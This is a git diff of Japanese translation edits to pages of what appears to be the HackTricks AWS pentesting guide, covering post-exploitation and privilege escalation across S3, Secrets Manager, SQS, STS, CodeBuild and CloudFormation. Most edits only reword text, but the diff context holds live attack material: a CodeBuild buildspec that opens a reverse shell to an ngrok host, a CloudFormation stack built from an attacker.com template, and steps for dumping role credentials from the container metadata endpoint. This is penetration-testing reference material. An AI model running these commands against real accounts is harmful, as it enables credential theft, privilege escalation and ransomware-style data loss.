-このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できます。しかし、オブジェクトは復号化できません。
+このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。
 
-攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット設定や、攻撃者がAWS環境自体にアクセスを得たことが原因である可能性があります。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
+攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
 
-バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその設定を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進行できます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェア化するのはより困難になります。
+バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。
 
 AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,11 +12,11 @@
 
 ### Read Secrets
 
-**シークレット自体は機密情報です**、[特権昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
+**シークレット自体は機密情報です**、[権限昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
 
 ### DoS Change Secret Value
 
-シークレットの値を変更すると、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
+シークレットの値を変更することで、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
 
 > [!WARNING]
 > 前の値も保存されているため、簡単に前の値に戻ることができます。
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS シークレットの削除
+### DoSによるシークレットの削除
 
 シークレットを削除するための最小日数は7日です。
 ```bash

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## SES
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-ses-enum.md
@@ -33,7 +33,7 @@ aws ses send-raw-email --raw-message file://message.json
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-まだテスト中です。
+まだテストする必要があります。
 
 ### `ses:SendBulkTemplatedEmail`
 
@@ -55,7 +55,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-まだテスト中です。
+まだテストする必要があります。
 
 ### `ses:SendCustomVerificationEmail`
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -32,7 +32,7 @@ aws sns publish --topic-arn <value> --message <value>
 
 ### `sns:SetTopicAttributes`
 
-攻撃者はSNSトピックの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
+攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
@@ -45,7 +45,7 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-**潜在的な影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
+**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
 
 ### `sns:AddPermission` , `sns:RemovePermission`
 
@@ -58,7 +58,7 @@ aws sns remove-permission --topic-arn <value> --label <value>
 
 ### `sns:TagResource` , `sns:UntagResource`
 
-攻撃者はSNSリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -12,12 +12,12 @@
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
-攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信し、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
+攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
 ```bash
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>
 ```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
+**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
@@ -27,7 +27,7 @@ aws sqs receive-message --queue-url <value>
 aws sqs delete-message --queue-url <value> --receipt-handle <value>
 aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
 ```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。
+**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。
 
 ### `sqs:DeleteQueue`
 
@@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
 
 ### `sqs:RemovePermission`
 
-攻撃者は、SQSキューに関連付けられたポリシーを削除することによって、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能に混乱を引き起こす可能性があります。
+攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。
 ```arduino
 arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - SSO & identitystore Post Exploitation
+# AWS - SSO & identitystore ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-これらの権限は、権限を妨害するために使用できます：
+これらの権限は、権限を妨害するために使用できます:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
 # Delete state machine alias
 aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```
-- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
+- **潜在的影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
 
 ### `states:UpdateMapRun`
 
-この権限を持つ攻撃者は、Map Runの失敗設定と並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
+この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
@@ -45,18 +45,18 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
 
 ### `states:StopExecution`
 
-この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了の取引、停止したビジネスオペレーション、そして潜在的なデータの破損が引き起こされる可能性があります。
+この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了のトランザクション、停止したビジネスオペレーション、そして潜在的なデータの破損が発生する可能性があります。
 
 > [!WARNING]
 > このアクションは**エクスプレスステートマシン**ではサポートされていません。
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
-- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
+- **潜在的な影響**: 進行中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
 
 ### `states:TagResource`, `states:UntagResource`
 
-攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、及びタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md

@@ -4,20 +4,20 @@
 
 ## STS
 
-詳細情報については：
+詳細情報:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### IAMクレデンシャルからコンソールへ
+### IAM クレデンシャルからコンソールへ
 
-IAMクレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
+IAM クレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
 ユーザー/ロールは**`sts:GetFederationToken`**の権限を持っている必要があります。
 
 #### カスタムスクリプト
 
-次のスクリプトは、デフォルトプロファイルとデフォルトのAWSロケーション（政府および中国以外）を使用して、ウェブコンソールにログインするために使用できる署名付きURLを提供します：
+次のスクリプトは、デフォルトプロファイルとデフォルトの AWS ロケーション（政府および中国以外）を使用して、ウェブコンソールにログインするために使用できる署名付き URL を提供します:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
 #### aws_consoler
 
-[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)を使用して**ウェブコンソールリンクを生成**できます。
+**ウェブコンソールリンクを生成**できます [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -65,11 +64,11 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> IAMユーザーが`sts:GetFederationToken`権限を持っていることを確認するか、引き受けるロールを提供してください。
+> IAMユーザーが `sts:GetFederationToken` 権限を持っていることを確認するか、引き受けるロールを提供してください。
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault)は、開発環境でAWSの認証情報を安全に保存し、アクセスするためのツールです。
+[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境でAWSの資格情報を安全に保存し、アクセスするためのツールです。
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 
 ### **PythonからのUser-Agent制限のバイパス**
 
-**ユーザーエージェントに基づいて特定のアクションを実行する制限**がある場合（ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど）、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続する**ことが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更する**こともできます：
+**ユーザーエージェント**に基づいて特定のアクションを実行する制限がある場合（ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど）、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続**することが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更**することもできます。
 ```bash
 # Shared by ex16x41
 # Create a client

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## VPN
 
-詳細情報については：
+詳細情報:
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/

src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md

@@ -10,8 +10,8 @@ AWSで権限を昇格させる方法は、他のロール/ユーザー/グルー
 > AWSには、エンティティに付与できる**数百**（場合によっては数千）の**権限**があります。この本では、**権限を昇格させるために悪用できるすべての権限**を見つけることができますが、ここに記載されていない**パスを知っている**場合は、**共有してください**。
 
 > [!CAUTION]
-> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合...それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
-> したがって、これは主体に**特権のある権限を付与する**別の方法であることを覚えておいてください。
+> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合... それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
+> したがって、これは主体に**特権的な権限を付与する**別の方法であることを覚えておいてください。
 
 **このセクションのページはAWSサービスによって整理されています。そこでは、権限を昇格させることができる権限を見つけることができます。**
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md

@@ -4,7 +4,7 @@
 
 ## Apigateway
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
@@ -16,20 +16,20 @@
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**潜在的影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
 
 ### `apigateway:GET`
 
-この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（地域ごと）。
+この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（リージョンごと）。
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**潜在的な影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なラムダを呼び出すなど）。
+これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なlambdaを呼び出すなど）。
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
@@ -42,7 +42,7 @@ aws apigateway update-rest-api \
 > [!NOTE]
 > テストが必要です
 
-`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
+`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を持つ既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 > [!NOTE]
 > テストが必要
 
-`apigateway:UpdateAuthorizer`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
+`apigateway:UpdateAuthorizer` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックをバイパスしたり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 > [!NOTE]
 > テストが必要
 
-`apigateway:UpdateVpcLink`の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
+`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
 ```bash
 bashCopy codeVPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

@@ -4,7 +4,7 @@
 
 ## cloudformation
 
-Cloudformationに関する詳細情報は、以下を確認してください：
+cloudformationに関する詳細情報は、以下を確認してください:
 
 {{#ref}}
 ../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,23 +12,23 @@ Cloudformationに関する詳細情報は、以下を確認してください：
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
-これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することにより、**権限を昇格させることができます：**
+これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます:
 ```bash
 aws cloudformation create-stack --stack-name <stack-name> \
 --template-url http://attacker.com/attackers.template \
 --role-arn <arn-role>
 ```
-以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例** があります：
+以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります：
 
 {{#ref}}
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 {{#endref}}
 
-**潜在的な影響：** 指定されたcloudformationサービスロールへの権限昇格。
+**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。
 
 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
 
-この場合、**既存のcloudformationスタックを悪用**してそれを更新し、前のシナリオのように権限を昇格させることができます：
+この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます：
 ```bash
 aws cloudformation update-stack \
 --stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
 
 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
 
-この権限を持っているが、**`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください（更新時にロールを指定しないでください）。
+この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください（更新時にロールを指定しないでください）。
 
 `cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。
 
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
 --stack-name privesc \
 --region eu-west-1
 ```
-`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。
+`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与える** ことができ、攻撃を実行できます。
 
 **潜在的な影響:** cloudformation サービスロールへの権限昇格。
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**既にアタッチされているものを悪用**することができます。パラメータを変更するだけです：
+これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです:
 ```
 --change-set-type UPDATE
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md

@@ -55,14 +55,14 @@
 }
 }
 ```
-次に**cloudformationスタックを生成**します：
+次に**CloudFormationスタックを生成**します：
 ```bash
 aws cloudformation create-stack --stack-name privesc \
 --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
 --role arn:aws:iam::[REDACTED]:role/adminaccess \
 --capabilities CAPABILITY_IAM --region us-west-2
 ```
-**数分待って** スタックが生成されるのを待ち、その後 **出力を取得** します スタックの **資格情報が保存されている** ところ:
+**数分待って** スタックが生成されるのを待ち、次に **出力を取得** します スタックの **資格情報が保存されている** ところ:
 ```bash
 aws cloudformation describe-stacks \
 --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -4,7 +4,7 @@
 
 ## codebuild
 
-詳細情報は以下を参照してください：
+詳細情報は以下を参照してください:
 
 {{#ref}}
 ../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です：
+これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響:** どのAWS Codebuildロールへの直接的な権限昇格。
+**潜在的影響:** 任意のAWS Codebuildロールへの直接的な権限昇格。
 
 > [!WARNING]
 > **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。
 
-> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、**認証情報にアクセスするためのURLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、認証情報にアクセスするための**URLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
 > それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。
 
@@ -270,7 +270,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 
 **SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。**
 
-Codebuildプロジェクトにはブレークポイントが必要です：
+Codebuildプロジェクトにはブレークポイントが必要です:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
@@ -280,18 +280,18 @@ commands:
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
 
-そして：
+そして次に:
 ```bash
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-For more info [**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
+詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
 
-### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
+### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)、`s3:GetObject`、`s3:PutObject`
 
-特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
+特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
 
-注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。
+注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-あなたはこのような**buildspec**を使用して**reverse shell**を取得できます：
+このような **buildspec** を使用して **reverse shell** を取得できます：
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -317,13 +317,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。
+**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な特権昇格で、通常は高い権限を持っています。
 
 > [!WARNING]
-> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。
+> buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。
 
-詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。
+詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。
 
-**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な特権昇格。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md

@@ -4,7 +4,7 @@
 
 ## codepipeline
 
-Codepipelineに関する詳細情報は以下を確認してください:
+codepipelineに関する詳細情報は以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,13 +12,13 @@ Codepipelineに関する詳細情報は以下を確認してください:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを侵害することができます。
